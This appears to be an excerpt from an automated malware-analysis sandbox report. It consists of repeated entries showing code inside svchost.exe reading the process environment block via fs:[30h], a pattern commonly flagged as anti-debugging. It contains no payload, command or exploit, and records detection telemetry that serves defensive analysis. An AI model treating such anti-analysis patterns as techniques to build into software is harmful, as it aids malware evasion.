Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40770 mov eax, dword ptr fs:[00000030h]	2_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30750 mov eax, dword ptr fs:[00000030h]	2_2_02F30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBE75D mov eax, dword ptr fs:[00000030h]	2_2_02FBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72750 mov eax, dword ptr fs:[00000030h]	2_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72750 mov eax, dword ptr fs:[00000030h]	2_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB4755 mov eax, dword ptr fs:[00000030h]	2_2_02FB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6674D mov esi, dword ptr fs:[00000030h]	2_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6674D mov eax, dword ptr fs:[00000030h]	2_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6674D mov eax, dword ptr fs:[00000030h]	2_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6273C mov eax, dword ptr fs:[00000030h]	2_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6273C mov ecx, dword ptr fs:[00000030h]	2_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6273C mov eax, dword ptr fs:[00000030h]	2_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAC730 mov eax, dword ptr fs:[00000030h]	2_2_02FAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C720 mov eax, dword ptr fs:[00000030h]	2_2_02F6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C720 mov eax, dword ptr fs:[00000030h]	2_2_02F6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30710 mov eax, dword ptr fs:[00000030h]	2_2_02F30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60710 mov eax, dword ptr fs:[00000030h]	2_2_02F60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C700 mov eax, dword ptr fs:[00000030h]	2_2_02F6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004500 mov eax, dword ptr fs:[00000030h]	2_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F304E5 mov ecx, dword ptr fs:[00000030h]	2_2_02F304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F644B0 mov ecx, dword ptr fs:[00000030h]	2_2_02F644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBA4B0 mov eax, dword ptr fs:[00000030h]	2_2_02FBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F364AB mov eax, dword ptr fs:[00000030h]	2_2_02F364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]	2_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]	2_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A470 mov eax, dword ptr fs:[00000030h]	2_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC460 mov ecx, dword ptr fs:[00000030h]	2_2_02FBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2645D mov eax, dword ptr fs:[00000030h]	2_2_02F2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5245A mov eax, dword ptr fs:[00000030h]	2_2_02F5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E443 mov eax, dword ptr fs:[00000030h]	2_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A430 mov eax, dword ptr fs:[00000030h]	2_2_02F6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]	2_2_02F2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]	2_2_02F2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E420 mov eax, dword ptr fs:[00000030h]	2_2_02F2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C427 mov eax, dword ptr fs:[00000030h]	2_2_02F2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB6420 mov eax, dword ptr fs:[00000030h]	2_2_02FB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]	2_2_02F68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]	2_2_02F68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68402 mov eax, dword ptr fs:[00000030h]	2_2_02F68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_02F5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F325E0 mov eax, dword ptr fs:[00000030h]	2_2_02F325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C5ED mov eax, dword ptr fs:[00000030h]	2_2_02F6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C5ED mov eax, dword ptr fs:[00000030h]	2_2_02F6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F365D0 mov eax, dword ptr fs:[00000030h]	2_2_02F365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_02F6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_02F6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E5CF mov eax, dword ptr fs:[00000030h]	2_2_02F6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E5CF mov eax, dword ptr fs:[00000030h]	2_2_02F6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F545B1 mov eax, dword ptr fs:[00000030h]	2_2_02F545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F545B1 mov eax, dword ptr fs:[00000030h]	2_2_02F545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02FB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02FB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB05A7 mov eax, dword ptr fs:[00000030h]	2_2_02FB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E59C mov eax, dword ptr fs:[00000030h]	2_2_02F6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F32582 mov eax, dword ptr fs:[00000030h]	2_2_02F32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F32582 mov ecx, dword ptr fs:[00000030h]	2_2_02F32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F64588 mov eax, dword ptr fs:[00000030h]	2_2_02F64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]	2_2_02F6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]	2_2_02F6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6656A mov eax, dword ptr fs:[00000030h]	2_2_02F6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38550 mov eax, dword ptr fs:[00000030h]	2_2_02F38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38550 mov eax, dword ptr fs:[00000030h]	2_2_02F38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40535 mov eax, dword ptr fs:[00000030h]	2_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]	2_2_02F5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]	2_2_02F5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]	2_2_02F5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]	2_2_02F5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E53E mov eax, dword ptr fs:[00000030h]	2_2_02F5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6500 mov eax, dword ptr fs:[00000030h]	2_2_02FC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6AAEE mov eax, dword ptr fs:[00000030h]	2_2_02F6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6AAEE mov eax, dword ptr fs:[00000030h]	2_2_02F6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30AD0 mov eax, dword ptr fs:[00000030h]	2_2_02F30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F64AD0 mov eax, dword ptr fs:[00000030h]	2_2_02F64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F64AD0 mov eax, dword ptr fs:[00000030h]	2_2_02F64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]	2_2_02F86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]	2_2_02F86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F86ACC mov eax, dword ptr fs:[00000030h]	2_2_02F86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38AA0 mov eax, dword ptr fs:[00000030h]	2_2_02F38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38AA0 mov eax, dword ptr fs:[00000030h]	2_2_02F38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F86AA4 mov eax, dword ptr fs:[00000030h]	2_2_02F86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68A90 mov edx, dword ptr fs:[00000030h]	2_2_02F68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3EA80 mov eax, dword ptr fs:[00000030h]	2_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FACA72 mov eax, dword ptr fs:[00000030h]	2_2_02FACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FACA72 mov eax, dword ptr fs:[00000030h]	2_2_02FACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6CA6F mov eax, dword ptr fs:[00000030h]	2_2_02F6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDEA60 mov eax, dword ptr fs:[00000030h]	2_2_02FDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36A50 mov eax, dword ptr fs:[00000030h]	2_2_02F36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40A5B mov eax, dword ptr fs:[00000030h]	2_2_02F40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40A5B mov eax, dword ptr fs:[00000030h]	2_2_02F40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F54A35 mov eax, dword ptr fs:[00000030h]	2_2_02F54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F54A35 mov eax, dword ptr fs:[00000030h]	2_2_02F54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6CA38 mov eax, dword ptr fs:[00000030h]	2_2_02F6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6CA24 mov eax, dword ptr fs:[00000030h]	2_2_02F6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5EA2E mov eax, dword ptr fs:[00000030h]	2_2_02F5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBCA11 mov eax, dword ptr fs:[00000030h]	2_2_02FBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38BF0 mov eax, dword ptr fs:[00000030h]	2_2_02F38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5EBFC mov eax, dword ptr fs:[00000030h]	2_2_02F5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBCBF0 mov eax, dword ptr fs:[00000030h]	2_2_02FBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDEBD0 mov eax, dword ptr fs:[00000030h]	2_2_02FDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]	2_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]	2_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F50BCB mov eax, dword ptr fs:[00000030h]	2_2_02F50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]	2_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]	2_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30BCD mov eax, dword ptr fs:[00000030h]	2_2_02F30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40BBE mov eax, dword ptr fs:[00000030h]	2_2_02F40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F40BBE mov eax, dword ptr fs:[00000030h]	2_2_02F40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_02FE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_02FE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03004A80 mov eax, dword ptr fs:[00000030h]	2_2_03004A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2CB7E mov eax, dword ptr fs:[00000030h]	2_2_02F2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDEB50 mov eax, dword ptr fs:[00000030h]	2_2_02FDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE4B4B mov eax, dword ptr fs:[00000030h]	2_2_02FE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FE4B4B mov eax, dword ptr fs:[00000030h]	2_2_02FE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6B40 mov eax, dword ptr fs:[00000030h]	2_2_02FC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6B40 mov eax, dword ptr fs:[00000030h]	2_2_02FC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFAB40 mov eax, dword ptr fs:[00000030h]	2_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD8B42 mov eax, dword ptr fs:[00000030h]	2_2_02FD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5EB20 mov eax, dword ptr fs:[00000030h]	2_2_02F5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5EB20 mov eax, dword ptr fs:[00000030h]	2_2_02F5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF8B28 mov eax, dword ptr fs:[00000030h]	2_2_02FF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF8B28 mov eax, dword ptr fs:[00000030h]	2_2_02FF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAEB1D mov eax, dword ptr fs:[00000030h]	2_2_02FAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_02F6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6C8F9 mov eax, dword ptr fs:[00000030h]	2_2_02F6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FFA8E4 mov eax, dword ptr fs:[00000030h]	2_2_02FFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5E8C0 mov eax, dword ptr fs:[00000030h]	2_2_02F5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC89D mov eax, dword ptr fs:[00000030h]	2_2_02FBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F30887 mov eax, dword ptr fs:[00000030h]	2_2_02F30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBE872 mov eax, dword ptr fs:[00000030h]	2_2_02FBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBE872 mov eax, dword ptr fs:[00000030h]	2_2_02FBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6870 mov eax, dword ptr fs:[00000030h]	2_2_02FC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC6870 mov eax, dword ptr fs:[00000030h]	2_2_02FC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60854 mov eax, dword ptr fs:[00000030h]	2_2_02F60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34859 mov eax, dword ptr fs:[00000030h]	2_2_02F34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F34859 mov eax, dword ptr fs:[00000030h]	2_2_02F34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F42840 mov ecx, dword ptr fs:[00000030h]	2_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov ecx, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F52835 mov eax, dword ptr fs:[00000030h]	2_2_02F52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A830 mov eax, dword ptr fs:[00000030h]	2_2_02F6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD483A mov eax, dword ptr fs:[00000030h]	2_2_02FD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD483A mov eax, dword ptr fs:[00000030h]	2_2_02FD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBC810 mov eax, dword ptr fs:[00000030h]	2_2_02FBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F629F9 mov eax, dword ptr fs:[00000030h]	2_2_02F629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F629F9 mov eax, dword ptr fs:[00000030h]	2_2_02F629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBE9E0 mov eax, dword ptr fs:[00000030h]	2_2_02FBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A9D0
